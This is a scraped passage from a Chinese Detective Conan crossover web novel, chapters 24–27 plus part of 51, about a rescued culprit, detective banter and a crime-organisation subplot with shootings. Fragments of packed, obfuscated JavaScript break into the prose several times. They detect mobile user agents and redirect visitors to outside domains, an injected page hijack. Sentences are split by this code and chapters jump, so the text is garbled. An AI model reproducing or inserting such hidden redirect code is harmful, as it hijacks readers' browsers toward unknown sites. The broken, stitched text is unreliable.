l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14261996|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?凭什么就这样干干脆脆地走!葵是那样热爱生活的人,你这种家伙……为什么要那样拼命地从那里逃出来,”她哽咽了:“都逃出来了,还这样轻易放弃,你把她当成什么了?她要的才不是这些,你就给我安安稳稳地、充满愧疚地在这世上活下去啊!” 稻田真司不由失神,他从没想过,自己在做过这些之后,还能从“她”那里得来要“活下去”的嘱托,他摇晃了下,手中的刀垂落了几分。 “就是现在!”一个人影突然从侧面飞扑而来,在他再度坚定之前,目标明确地去抓住稻田真司手中的刀,他下意识地格手一档,却被对方瞬间反制回来。 “是个高手!”稻田真司一惊。双方在这高台的边缘间快速交起手来。 “是小兰!”柯南双目睁大,毛利小五郎也惊愕非常。但很快的,焦急就涌上他们心头。 “怎么会?”柯南不明白:“小兰怎么会突然出来?” 可除了小兰大概没人能做到这个地步,她的招式凌厉迅捷,每一下都攻打在稻田真司救之不及之处,对方试了几招,短刀被打掉在地上。柯南赶紧去踢开。 稻田真司有些愕然,他从没想过,这位与他有几次交流的柔弱女孩,在特定的时刻,居然会这样凶狠异常,他连连侧闪,好不容易躲过几次踢腿,见希望已经渺茫,他狠狠咬牙,承受下一击,就地一滚,迅速往栏下奔去。 小兰没来得及惊讶,她一样毫不犹豫地往那边奔去,在稻田真司即将倾身一跳时,她猛的往前一扑,抓住了他最后面的一只脚。 稻田真司死死地想要往前带,小兰就死死地攒紧他的脚。她整个人扑倒在地上,脸上手上摔出了伤痕,布上了泥土,可就是不肯放手。稻田真司想要回转过来,蹬开她那只手,小兰就这样倔强地望着他。外面是天空,只差一步,他就可以自由了。 他下不去脚。他悲凉问道:“为什么要做到这种地步呢?” “因为今天我若是不救稻田先生,接下来我一定会很愧疚,”小兰微笑道:“不能救下一条生命会很痛苦,晚上的时候一定会做噩梦,我会在想,这一定不会及稻田先生痛苦的万分之一吧,因为有别人为你牺牲了,这样的事,想想就会难过到睡不着觉,心都在痛。我不想日后生活在后悔中,所以我一定要救下你,之所以这样,大概是因为,我和稻田先生是同样的人吧!” 24.第 24 章 小兰说出这番话后,她的手仍然没有松开,毛利小五郎和那位警察的领头从后面飞速扑到稻田真司身上,桎梏住他的手脚,而与此同时,又有几人不知从哪里叠了上来,让他连动也不能动一下,稻田真司愣愣的,无奈苦笑一下。 “是的,我们都看到了,”女主持人已经无限逼近这里了,她顶着深秋的寒风,激动得侃侃而谈道:“很多人付出了努力,最后是一位勇敢的少女,她去阻止了受害者的自伐……”旁边有人不断在给她示意,她装作没看到,“哦,警察也都上了,他们终于控制住了局势,真是太及时了……” 高司启明在下面咂舌:“看来大家都认为他是‘受害者’。” 池田义弘仍在录像,相机被他放在一边,他极少见地翻了个白眼:“这不是明摆着的吗?” 罗织幸子看着稻田真司被制住,她松了口气,踉跄了几步后站稳,高司启明连忙去扶住她,他敬佩道:“没想到出版社还有这样的过往,如果我是你,一定做不到这种程度。” 罗织幸子摇摇头:“我其实,什么也没做到。这一切,都是他自己做出来的。”看向前方,她眼神复杂。 稻田真司双手被带上镣铐,他垂着头,被警察压着往后走。 “等一下!”柯南忽然叫住了他,跑了过来。 稻田真司看着眼前这小孩,有些疑惑:“事到如今,你还有什么要说的吗?” 不论是理念还是行动,双方之间都可以说是来了次大碰撞,他明白这小孩的意思,他也希望,这社会上更多的是像他这种人,只可惜,他自己无法受用。 “那个人,”柯南脸色冷肃道:“他是怎么联系上你的?” 稻田真司失笑:“是我主动联系得上他。也不难联络,在地下世界里,他也是挺有名的一个人。” 他不再说,柯南却仍要问,见过这小孩之前的行动,警察也没阻拦他,柯南说:“他是专门帮助像你这种,走投无路的人,对吗?” 稻田真司摇摇头:“或许吧。我只是听说他手里有很多资源,只要给钱,亦或是他自己感兴趣,他就会插手其中,我最开始也只是想去试一试。” 但不管怎样,他都会动手。柯南听出了这层意思。他也没去斥责他,那样太过冷血。他只是有些激愤道:“你是知道他想干什么的吧?之前还以为你是被蛊惑,可现在,像他那样危险的人,如果任由他继续活动……” 稻田真司眯起了眼睛,他回想起了很久以前的那一天。他已经很少回忆起那时了,巨大的噩梦如影随形地跟着他,有人为自己逝去的痛苦令他不断逃避,可酒吧的那一晚让他翻出了过往记忆里的一幕,那是让他猝不及防的古怪赠予。 “你就是清水女士的儿子吧?”女警怜惜地问他:“是和母亲一起上山的?可以告诉我,你们是想去做什么吗?” 穿着单薄衣物的小孩不停地在细微颤抖:“那个人,你们要去查那个人,他是故意的,他害死了人,他还要害我,都是帮凶,所有人都是帮凶!” 这话让女警严肃起来,她认真问:“那个人是谁?” 小孩停了下来,等了会,他终于还是鼓足了勇气,用细小却清晰的声音说:“长川,是长川右介。” 警察回答道:“我们会去调查的。” 但调查没有出结果,反倒是第二天,小稻田真司就看到老管家的身影出现在警局,他用带着焦急的语气向警察陈诉,自家的小少爷不慎在昨晚走失,而警察则是回想起了什么:“说起来,昨天晚上是救回来了一个小男孩……” 他带着他向这边走过来。小真司慌了,他手足无措地往后退,不小心碰到了身边的钢铁架子,发出巨大的响声。“不能被魔鬼抓回去!”他只能想起这一句话,反身就逃,从窗户中翻出,飞速逃离了警察局。 直到不久后,他用另一个身份被带到另一人的身前。 “你说你是她的儿子?”找到他的也是一个孩子。但和他不一样,他身体健康,容颜俊秀,带着异于同龄人的冷静。 稻田真司只能瑟瑟发抖。 孩子也没有失望,他似乎不在意面前人是怎样一个人。“她是有一个孩子,可那不是你。”他道。 “对、对不起。”稻田真司预料到了什么,他连忙躬身道歉。 “不,这没什么。”孩子摇摇头,他从座椅上跳下来:“如果你想做她的儿子,那你就去做好了。反正,你也没有自己的身份不是吗?” 稻田真司无比讶然。看穿了他的疑惑,孩子淡淡道:“你不用担心我,从今天开始,我就会离开这里。” “为什么?”稻田真司惶急起来:“如果是因为我……” “不,”男孩朝另一人走去,那是个高大的成年人,他牵起对方的手,“与你无关。” “只是,”他回转过头来,一双眼中满是冷漠:“如果她都已经不在了,我还留在这里做什么?” 他的双眼,是澄澈如宝石般的红色。 那副景象就像画一样留在了他的记忆中,所以在后来的那日,他才会在见到他的第一眼时那么惊讶。他无法忘记这对母子,是他们给了他新生。 所以,他蹲下身来,对着柯南十分真挚道:“你错了,他是个好人。” 柯南眼前一黑,他感到自己牙根都在发疼,他仔细观察稻田真司,没办法从他脸上看到一丝糊弄自己的痕迹,只好自己走开,免得再待在这里,更加生气了。 稻田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268220|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真司被压着走远,警察和媒体也追寻着他而去,罗织幸子想去找个休息的地方,他们现在还不能离开这里,因为警察后面还要来问话。她走到走廊里,脚步迟缓了下来。 “是你啊,”她掏出烟,想要抽一根,但想了想,还是没有点燃,“或许我应该谢谢你,如果不是你,我恐怕没勇气去将那番话说出来。” 她怅然笑了下:“在最开始的时候,我想的是,他为什么不去死,葵因他而死,他还有什么脸面活在这世上?我痛恨他,只在那个人之下。” “不会的,”在暗处中,裴真走了出来:“如果没有我,你也还是会在那个时刻说出那样话来。” 罗织幸子惊讶。 “因为你有那样一个朋友,”裴真说:“她会希望他活下去,而你,不会让她失望的。” 罗织幸子眼眶湿润了,她哭腔中带着笑意,小声说:“是啊,她就是那样一个人……” 小兰从一边走了过来,看到这一幕,她有些无措:“啊,我是不是应该等会再来?” “不,”罗织幸子走近,她轻声说:“我的话已经说完了。还有,很漂亮啊,你在刚才做的事。” 小兰的脸红了,她小声说:“你也很勇敢。” 罗织幸子走远了。小兰来到裴真身前,很认真道:“谢谢你。” 裴真愕然:“这话不应该是我说的吗?” “是你让我们抓住了最后的时机,否则的话,我是没办法救下他的。”小兰道。 “但更多的还是你们出力,”裴真摆摆手:“还有那番话,不是你可说不出来。” 小兰的脸更红了:“我只是按照你说的,想要感同身受地去体验他的心情。” “不不不,没有你们,我想的再多也没有用。”裴真仍是摆手。 小兰有些哑然。“为什么你不自己出面,去救下那个人呢?”她有些好奇:“你应该,可以做到的吧?” 裴真笑了下:“我不行,做不到的。” 一边策划他,一边又拯救他。裴真觉着自己的脸面还没厚到这种程度,他会感到有些羞耻。 “好吧,”小兰放弃了,转而说道:“不管怎样,我实在很高兴,天野君能够想到我,让我去救下一个生命。”她的脸红扑扑的:“能在这其中出力,我忽然觉得,我能去炼空手道,实在是太好了!” 裴真说:“这是你自己的努力。” 小兰摇摇头,又点点头,说了几句话后,就躬身离开了。在她也离去后,裴真才叹了口气:“躲在那里,你就那么喜欢偷听吗?” 一个小小的身影从拐角处跳了出来。 是柯南,他看着裴真:“果然,上次的时候,其实你也发现我了。” 25.第 25 章 裴真有些无语:“这是侦探必备的技能吗?暗地里获取证据和材料。” 柯南尴尬地带开话题:“我这只是碰巧。还有这次,你是事先就发现了什么对吧?” 裴真笑了笑道:“其实不难看出的。罗织女士从一开始就表现出了对长川右介不善的态度,后面对凶手的调查她也若有若无地表露了不耐烦。只是你的心思都花费在了查案上,没在这里细究。” 柯南看着他道:“这已经很不错了,更不要说,你在后面还让她们表演了这么一出,也就是小兰,唔,你是怎么知道小兰姐姐有这样的好身手的?” 裴真作思索状,最后还是不好意思道:“这件事应该还是挺有名的吧?我想要调查一下毛利先生破获的案件,不小心看到了一张照片,作为全国高中空手道关东冠军的毛利小姐也是登上过媒体的报道,还有英理女士,那时我就想,他们一家还真是厉害啊……” 柯南眨了眨眼:“你知道吗?我先前还以为你不适合做侦探这一行。” “为什么这么说?”裴真迷惑。 “因为没有对案件强烈的专注力和好奇心,”柯南双手插兜,侃侃谈道:“作为一个侦探,不仅要有专业的思考能力,也还要有不信邪的执拗劲,只要有点苗头,就死死地咬住其尾巴,不让任何线索从手中溜走。”他看了看裴真:“你身上我就没有看到这种感情。” 裴真点点头:“我其实一开始也没想过做侦探。” 柯南一摆手:“我知道,你的侦探社也是继承来的。但现在我改变了想法,”他认真道:“你以后一定能成为一名好侦探。” “这么肯定?”裴真一愣。 “热情是可以培养的,”柯南说:“但能力缺少了就是缺少了,有些是很难锻炼上来的。” 裴真若有所思:“原来如此。就像你一样,年龄还这么小,就已经能做到这种地步了,不仅行动能力强,思考程度也深,在你和那个奇怪的人谈话的时候,你们说出的都是我从前感受到过,却无法说出来的话。这世上还真是有天才啊,毛利先生会将你带在他身边自是有原因的,还是我见识得少了,从前在乡下看过的人不多,不知道世界之大,人才如过江之鲫……” 柯南整个人都僵住了,从上到下变成了一片灰白。在别墅里面的时候,他被那个极其危险的家伙一刺激,整个人都只顾着去反驳,没来得及伪装;等到后面,也是为了救下稻田真司,他身先士卒,竭尽全力地去说服他,更是没办法收敛了。 “啊这个,”他结结巴巴:“天才……对,你知道的,有些人就是脑子转得快,天才、你知道吧?”他眼睛躲闪:“这种东西是天生的,我也不知道怎么回事……啊,还有研究表示,和聪明的人生活在一起,会无意识地去模仿他们,能提高自己潜意识的思考能力,毛利叔叔你知道吧,‘沉睡的名侦探’,还有新一哥哥,他可是最有名的高中生侦探,我最喜欢他了,他可是我的偶像,噢耶!”他做出一个滑稽的比划手势,是那位高中生侦探曾在报纸上做过的。 “原来是这样!”裴真一锤手,“天生的,加上后天环境因素的影响吗?真可惜,我没有你这样的条件。”他貌似有些羡慕。 他真信了!柯南才是真震惊。但很快,他就舒缓下来,松了口气,他睨着眼,感谢国内一些媒体上的夸张报道,对于“神童”这种东西,国人的接受能力还真是强呢,呵呵。 从这两个各自糊弄的家伙身上离开,镜头一转,来到了另一处地方。有些熟悉的山地和阴暗的密林,一个人站在另一个人身前,他手中拿着手机,正在和连线对面的人交谈。 “已经结束了吗?稻田真司没有死?”他轻声笑道:“还是有些出乎我意料的。” “他求死的意志很坚决,”他说:“对这个国家和这个世界,他都是没有期待的。沉重的压力压垮了他,再不来解决那个人,等待他的,就只有精神治疗病院了。” 停了一会,他道:“我猜猜,一定是别的旁人救了他吧?” 他蹲下身来,在半躺在一棵树下的人身上搜索。地上的人有着一张极为熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14285337|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,如果毛利小五郎和柯南看到,一定会立刻警戒起来,因为这个人的脸上有一条伤疤,他面相凶狠,身躯高大,手和脚都很粗厚。但他现在是闭着眼的,准确来说,他已是一具十分苍白的死尸。 搜索的人手上带着一副黑色的薄手套,他稍微翻了翻,就从他的衣襟里找到了一样物品,是一本小册子,记载了某些东西,“人是互相影响的,有些人总是能影响到其他人,这点你不得不承认,”他稍微翻了下手中的册子,薄唇细微勾起:“另外,还有那个逃跑的人,你也不用担心了,他已经死了。” 对面传来些焦急的问话,他眉眼中带上了笑意,红色的瞳中如跳跃着晚间的焰火,他站起身,修长的风衣自然垂落,他轻笑道:“当然不是我杀的了。你知道的,我很少会亲自动手,他是在剧烈的运动后失血而亡的,看来他在那栋房子里还是没有拿到药呢。”他扫视了一眼这具尸体。 既然拿到了东西,他就可以离开了,再待下去,或许会撞上来搜寻的警察。脚步声越走越远,还伴随着未停歇的交流,“是叫做谷山康彦,确实是和那个组织相关的人。不用担心,就算他们大面积地通缉我,我也不是那么好对付的……” 声音终于静止了。只余下一具尸体,孤独的遗落在这片山林间。 汽车正在驶离这座山。毛利小五郎换了一辆车,前面开车的是这片区域的一位警察,他们是去往此地的警局。做完更详细的笔录后,他们才可以回去米花的家中。 柯南趴在车窗上,看着外面白天里的风景。小兰在收拾从别墅里拿回的东西,毛利小五郎在嘀嘀咕咕些什么,像是在吐槽租车费之类的。裴真将一部分的心神从另一边收回。 接下来就是面对黑暗组织的追捕吗?想起马甲在这次事件中的扮演,裴真忍不住想要揉揉自己的脸,是不是沉浸得有些过了?他本人并非是那样一个张狂的人啊。可话说回来,不沉浸又怎么扮演呢? 分开马甲不就是去过另一种人生吗?如果可以,马甲与本身的性格,差异越大越好。 26.第 26 章 裴真思考着有关自己另一个马甲的事,记忆无法对自己造成影响,但主动沉浸下去,或许就不一定了。再加上穿越后的心态变化,自己或许应当在这方面更加谨慎些才行。 另一边小兰打开了窗户,将一样东西从车窗内扔了出去。 柯南萌萌哒:“小兰姐姐,听说园子姐姐也有这本书!” “没关系,她说不定比我扔的还要早,”小兰笑了起来,她转而看向柯南:“说起来,你这次……” 来了来了!柯南在裴真“提醒”后,立马就知道自己要做些什么了。他连忙从耳中掏出一样无线耳机一样的东西,急忙道:“不不,这不都是我的功劳,其实我在之前就联系上了新一哥哥,那个人实在太可怕了,都是新一哥哥教我怎么说的。” 小兰半信半疑地接过耳机。柯南暼了裴真一眼,笑呵呵地摸着自己的后脑勺:“当然,也还有我自己天才的原因啦哈哈哈!” 在柯南的找补中,汽车一路驶远。 这件事很快就在新闻上发酵了,电视台迅速接过这波热度,他们在直播完这次事件后,还请了几位专家一起到台内分析案情。他们说起了很多当时人没注意到的细节,比如说,他们在在犯人的相机中找到了一些照片,证实了那位花匠是被另外一人杀死,而那人还是其他好几件案犯的真凶,死者身上的痕迹都有好几处相似之处。 紧接着,谷山康彦凶狠的照片被摆到正面上,那狠戾的眉眼,一看就是常干杀人事的惯犯了。见到这一画面,电视外的一长发杀手冷哼一声,浑身散发出浓烈的杀气,周围温度都冷了好几度,小弟战战兢兢地给他递烟,他才咬牙吐出几个字:“组织的脸都给他丢尽了……” 专家怀疑这位谷山康彦曾经在凶杀案时,见到过凶手的真面目,原因是他现在放在台上的碎裂了一小块的面具,“这大概是受害人曾经挣扎过的证据吧,”他这样说,“可能这也是后面罪犯那么容易认罪的原因之一。” “胡说八道!”毛利小五郎大声呵斥:“明明是‘沉睡的名侦探’将那小子的尾巴给抓住了,到了他嘴里,怎么就成了‘容易认罪’了?”他掏出烟,想要将之点燃,但找遍了全身,也没有找到自己的打火机。 “奇怪,我特意购买的品牌货呢?”他有些迷茫。 柯南在一边心虚地转过头。他是绝对不会说出,当日他踢出的,就是这样一个打火机样式的东西。 “听说警察在山林里还发现了一辆汽车,里面有一些东西,是罪犯在那几天前的居所,只是后面被他开到一处深林里销毁了。”电台的主持人说。 “由此可见,他对于这次的犯罪复仇计划是蓄谋已久的。”瘦瘦的专家说。 “这次事件的传播范围很广啊,毕竟是电视台大规模宣传了很久的改编作品的作者,”主持人感叹:“这次事件过后,长川右介的过往暴露,推理协会据说会将颁发给他的奖项收回,并宣布当年的得奖人空缺,这可是历史上的首次啊。” “没办法,”专家说:“协会的会员们都一致上书,说他们是‘推理的追随者’,让犯罪者加入,简直就是玷污了他们的理念。据说其中有激进的,还斥巨资收购已售出的长川右介的书,在广场上来了一次大焚烧,观看者多达千名。” 主持人咂舌:“他这是犯了众怒了。” “他的身份有些特别,”专家说:“与推理协会是完全敌对的,他做的事完全是给协会抹黑,也不怪大家都很愤怒。而且还有一点,他这件事还传到国外去了,如今唾弃他的人很多,影响很大,性质也开始不一样了。” 主持人叹息:“这是掩盖不下去了啊。” 电视的画面开始播放出稻田真司转移审问的一幕,他被压着往警车的后备车厢里走,他看起来情况并不差,最后一个镜头,是他离开人群后带点释然的笑,他倚靠在一边,像是要沉沉睡去。 小兰端着一盘洗净的水果走近,她看到这一幕,也稍微笑了起来:“看来稻田先生终于摆脱了他一直以来的噩梦。”她将水果放下:“这实在是太好了。” 柯南眼神回转,他想起了自己在回来后的那个晚上做的事。 “你想要将他的事在国外也宣传开来?”电话另一边的声音问他,那是一个醇厚中带着磁性的中年男人的声音。 “嗯,”柯南拿着手机:“这种涉及到了司法污点的事,一般来说,是不能由本地司法机构来处理的,一个人很难自省,一个组织也是,我不能赌这一点。” 男人沉默了一会,最后道:“看来这件事对你影响很大。” 柯南也静默了会,之后道:“可能吧。我相信有些东西未来会变好的,时代是螺旋往上发展的,但在这过程中……总有人会被落下,有人会被碾过,他们找不到申诉的通道,他们……” “新一!”对面人连忙喝声,打断了他略带激动的话,“一切都会变好的,你只用做你能做到的事就行。”他说。 “是,爸爸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14290638|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯南有些黯然:“我只是,有些话不知道对谁说。” 工藤优作安慰道:“没关系,你随时都能打电话过来。至于宣传的事,别担心,很快你就能看到的。” 电视台的人还在说,“国外的民众也很汹涌,毕竟喜欢推理的人很多,这种爱是不分国界的,长川右介的所为无疑是在为他们喜爱的东西上泼脏水,不管是现实中,还是网络上,都有人在抗议,”专家动了动身子:“据说,这是我听说的啊,这件事已经摆放在了首相的案头上了。” “什么?”主持人惊呼:“已经到了这种程度了吗?那您说一说,这件事最后有没有可能对本国的一些司法机构,又或者是法律上的条款带来一些改革呢?” 专家不敢打包票,他谨慎道:“或许是有可能,但这得看首相怎么看。而且不管行不行,大家都不能像稻田真司那样去行事。” “大家都要相信,”他对着镜头十分认真道:“我国的司法机构,会保障一切国民安危的。” 他用这句话做这一次播报的结尾。柯南只是呆呆地坐着,便是在这一刻,他好似听见那人若有若无地在他耳边说:“看啊,现在所有人都听见了他的声音。” +89 望川涉手一顿,他看着这数值有些莫名,这是柯南又想到了什么,自己emo了?他走在黑夜中,检查自己在上一次出场中获得的光液数。 除开剩余的12.2,在柯南的情绪波动中,他一共获得了483点光数值。果然,金手指能量的获取通道是与他人对自己的印象相关,而越是能撼动人的心神,最好能动摇他的信仰,他收获的光液就更多,若那人还是剧情中最主要的人物,那数字简直一路狂奔往破百的界限而去。 不仅是只有这些,在他初登场的时候,柯南与一行人也共同贡献了90点数值,其中小兰25,毛利侦探20,其他人加起来45,新马甲与主体的初印象并没有算在一处。这样一来,他以后每新建一个马甲,都可以来重复收割一番。而在他与柯南交流的时候,那些人也悄悄地给他填充了57点的数值。 并且在他离开后,自己的本体也不是没有收获。最大的是小兰去抓住稻田真司脚的时刻,她给予了73的光液,第二是罗织幸子,她给出了30,在她质问稻田真司的时刻。其他人则是没有接触,没有进项。 这样一来,总共便是——834.2。 这就是一波暴富,加上屯屯鼠的快乐吗?怎么办,好想十连抽! 27.第 27 章 尽管望川涉十分想要十连抽,但奈何数字还是不足够。就在他眼一转,想要去做些什么的时候,裴真将心神收回到了自己的本体内。 “事情我都已经知道了,嗯嗯,”一个女人的声音从手机对面传来:“多谢你为我妹妹做的,主动提供线索对接下来的情况很有帮助。”她的嗓音很沉着稳定:“我不会放弃她的,我们彼此都已经是各自最后的亲人了。在这件事中,她也是一位受害者,我会给她请到最好的律师,相信能最大限度地减轻她的责罚。还有她心理上的问题,我也会想办法缓解的。” “嘟。”这次事件的委托人挂断了电话。裴真刚把手机放下,一则消息就发送了过来,是银行汇款,数目足有二十万日元,显然,今井爱莉的姐姐是一位雷厉风行之人。 裴真收拾了下心情,想了想自己在这次事件中有没有露出什么破绽,或许[望川涉]的身份背景设定令[他]牵涉其中,救下了稻田真司的那位出版社的编辑,清水葵,正是他当初的母亲。她的逝去,也是其幼年之时难以跨越过去的坎,这便是[他]卡牌文字中提及到的“隐藏的伤痛”。 ——“我理解并尊重她的选择,但是,伤害她的人,我绝不宽恕!” 不过,这一点在很久以前就被隐藏下去了,哪怕专程打探,也很难找到他现在的身份上来。裴真也没再管,[望川涉]自会看顾这些。他转而去看自己在金手指中得来的收获。 其中一栏吸引了他的注意。那是一个他在用完了黄金成就点后就再也没动静的地方。 他用心神将之打开。 【月光下的罪与恶】[黑(钨)铁成就] 这是一张非常具有冲击力的图片,稻田真司在暗夜里举起了手中的镰刀,长川右介惊恐的脸在水池中隐现,他们一方占据了右边一半的位置,左边则是柯南抱着手臂在思索,身后是奔跑的毛利小五郎和担忧转身望来的小兰。池田义弘在左下角擦着汗,罗织幸子在呵斥着什么,高司启明则是在推着眼镜,与之相对的,老管家带着女仆恭候在右下方。 巨大的银月居高临下地俯视着一切,它永远沉默无言。暗红的烟雾在别墅内外缭绕,黑暗中,有人张开双手,纷飞的袍角展露出他的痕迹,他手指作操纵状,殷红的双眼仿佛沁了血,没人看见丝线,但谁都能猜到它的存在。 所有人一起构成了这张诡谲又十分具有张力的图片,能让人一眼就能看出他们之间紧密又疏离的微妙关系,其中蕴含的故事简直能拍出一整部的大电影。 “一切早有预兆,那犯下的罪,终将以血来还。不是彼时,便是此时。这都是在命运的策划当中。” 这之间,完全没有裴真的影子,但这一点,也仿佛是在暗示着什么。 裴真一笑,他不在意这些,他只是高兴,这成就点又怎么能不算一抽呢? 望川涉闪身一躲,“砰!”一道激烈的枪响声从他不远处响起,旁边的墙壁上留下了一个弹坑,他咬牙,有些气笑了:“我是在暗世界里被通缉了,但现在还没遇到那个组织的人,就被一些闻讯来的豺狼追杀,真当我是好拿捏的柿子?” 他目视着枪击传来的方向,整个人如猎豹一样狂奔而出,在他闪躲进另一侧房屋后的过程中,一小串子弹的弹坑接连跟随着他前行,望川涉目光沉静,身上连衣物都没有受到损伤,暗中人气的脸色发红,忍不住吐出一句脏话。 紧接着,他又立刻从瞄准镜中找寻望川涉的身影,但找寻了好一会,也没见他从躲藏中出来。他连忙对着衣领上的通讯器吐出一串英文,大意是询问敌人的踪迹。 对面人回答他,可回答到一半,就突然中断,突兀的一声惨叫冲击着他的耳膜,听的人心中一惊,鬓边生出冷汗。他叽里咕噜地质问着对方,可收获的只有无尽的沉默。 不能再待在这里了,他心中慌乱,端着枪,就从这开阔的地方跑开。他不敢再联络同伴,其他人那里都是无法接通的状态。他下了大楼,预备沿着原定的路线离开,可就在他距离汽车还有百米的时候,一个长铁管如标枪一样直插向他的双眼,他被吓的连连后退,往后倾倒,狼狈至极地躲开这一击。 一条大长腿铁鞭一般甩在他的脸上,将他刚爬起的身体重重击倒在地上。他惊恐地想要拿起摔掉的枪,但那人丝毫不给机会,一脚就踢到他的手肘上,只听一声清脆的裂响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14304271|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他痛苦地大叫起来。 接下来受击的是他的脖颈,惨叫声彻底地熄灭了下去。望川涉吐出口气,他检查了一下这人的身体,不出意料的没有任何身份信息,像这类人,都是从中东战场上退下来的刽子手,他们为钱接任务的时候,可从来不管受害人的身份。 他卸下了枪中的子弹,辨别了一会后,他道:“装备倒是还行,可这样的身手,也敢来找我的麻烦?” [综合格斗]虽是青铜卡,但一张卡,就让他几乎达到了格斗的顶级。他有想过,如果是“黑(钨)铁”,那大概就是超越了人类的极限,是“异常”的等级了。 他看了一下光球,撇了撇嘴,四个人,居然只有12.9的收获。这些非剧情中的人物,哪怕再刺激,得来的果实,也只有这么多了。 本体好像在那一次事件后,就有了要写书的念头,看的人一旦多了,哪怕每个人只贡献出零点几,也会有不小的收获。只是不知道后面的成绩会怎样,不想抄穿越前的书,也没有抽出书籍类的作品,最后的结果若是死水微波,那可就是搞笑了。 望川涉这样想着,看着最后的缺口,他忽然一笑,“以为通缉我可以不付出任何代价吗?”他脸色暗沉下来:“体积再庞大,被咬下肉来,也会感受到疼痛的吧?” 他并不畏惧黑暗组织。在这个综漫的世界中,更多更大的危险比比皆是。他拿出那个自谷山康彦手中得来的册子,心中早有的计划彻底定了下来。 一天后,一场轰动的爆炸在东京市的郊外响起。几乎是立刻,某组织王牌杀手的手机中,就接到了一道消息。 “嗯,我知道了,”银色的长发垂下,名为Gin的男人语言淡淡:“我会立刻解决他的,不会让触犯了组织的人继续逍遥下去。网已经布好了,就像是兜里的鱼一样,他不会有逃脱的机会的。” 他的语气平静,神情冷冽,显出了极强大的自信,这是由无数过往的成功组成的,也是由失败者的尸体奠基成的。他身旁的伏加特脸色兴奋:“大哥,我们终于要出发了吗?我早就看那蹦跶的小子不爽了!” 琴酒没有回答,双手插兜,显然是默认了。 40-50 第51章 书写 “混账!居然要将国家的宝物交给一个来历不明的奇怪女人!”一个带着两撇胡须的中年男人在办公楼中大发雷霆:“他种田山头火是疯了吗?不知道什么是轻重?外面?外面就是下了导弹雨, 也要将那样东西守护好。更何况,不过是一些无知的贱民,割了几茬只会长出更多!” 他呼哧了几下, 两眼通红,似是外面的游行让他丧失了以往的冷静,一些私底下的称呼也爆出了口, 他身前的手下连忙将头低得更下,腰弯的更深, 假装自己从来没听到那种贬低性的词语。 负责联络的人走上前来,将一些事告于他听。这人不耐烦地皱起眉, 眼中闪过阴沉,“就算是诱饵, 也不能动用真的, 要是弄丢了, 他承担得起责任吗?”他的语气缓和了下来,要属下再继续用以往的那套公关策略去对付民众,一个面貌普通的男人突然闯了进来。 “你是谁。不知道没有预约不能进来么?”有人在问。但男人根本不答话, 他直接掏出枪, 面对面就冲着中年男人连开了五枪。官员张了张口, 嘴里流出鲜血, 一个字也说不出来。 其余众人皆被吓的四散而逃。男人也没有追击,而是悄悄地迅速离开了。外面的人也被这惊住了, 他们竟没有发现此人是什么时候到来的, 并这样干脆地取了他们顶头上司的命。 种田山头火在直升飞机上接到了这个消息,他面色平静, 打开了重重封锁拿出的东西就放在他右手边,他轻轻地嗯了声, 又嘱托了几下,才将手机挂断。 太宰治抱着双手,坐在一边,他望了望外边天空的景色,笑了下道:“我倒是不知道,像你们这样的人,也会玩这种先启后奏的戏码。” 种田山头火摇摇头:“那是你还没有看到在战场的时候。现今时刻,就是战争了。她做的太好了,一些平日里,拴在我们脖子上的绳子也可以松一松了。更何况,只是一个内阁派出来的应声虫罢了,还聘请异能者保护自己……”他嗤笑了下:“如果做的好,那还好说,可他居然让一座城市炸了,就万死难辞其咎了。” 这城市中的其他官员,也都需要一个顶上去的。所以他几乎没费什么劲。 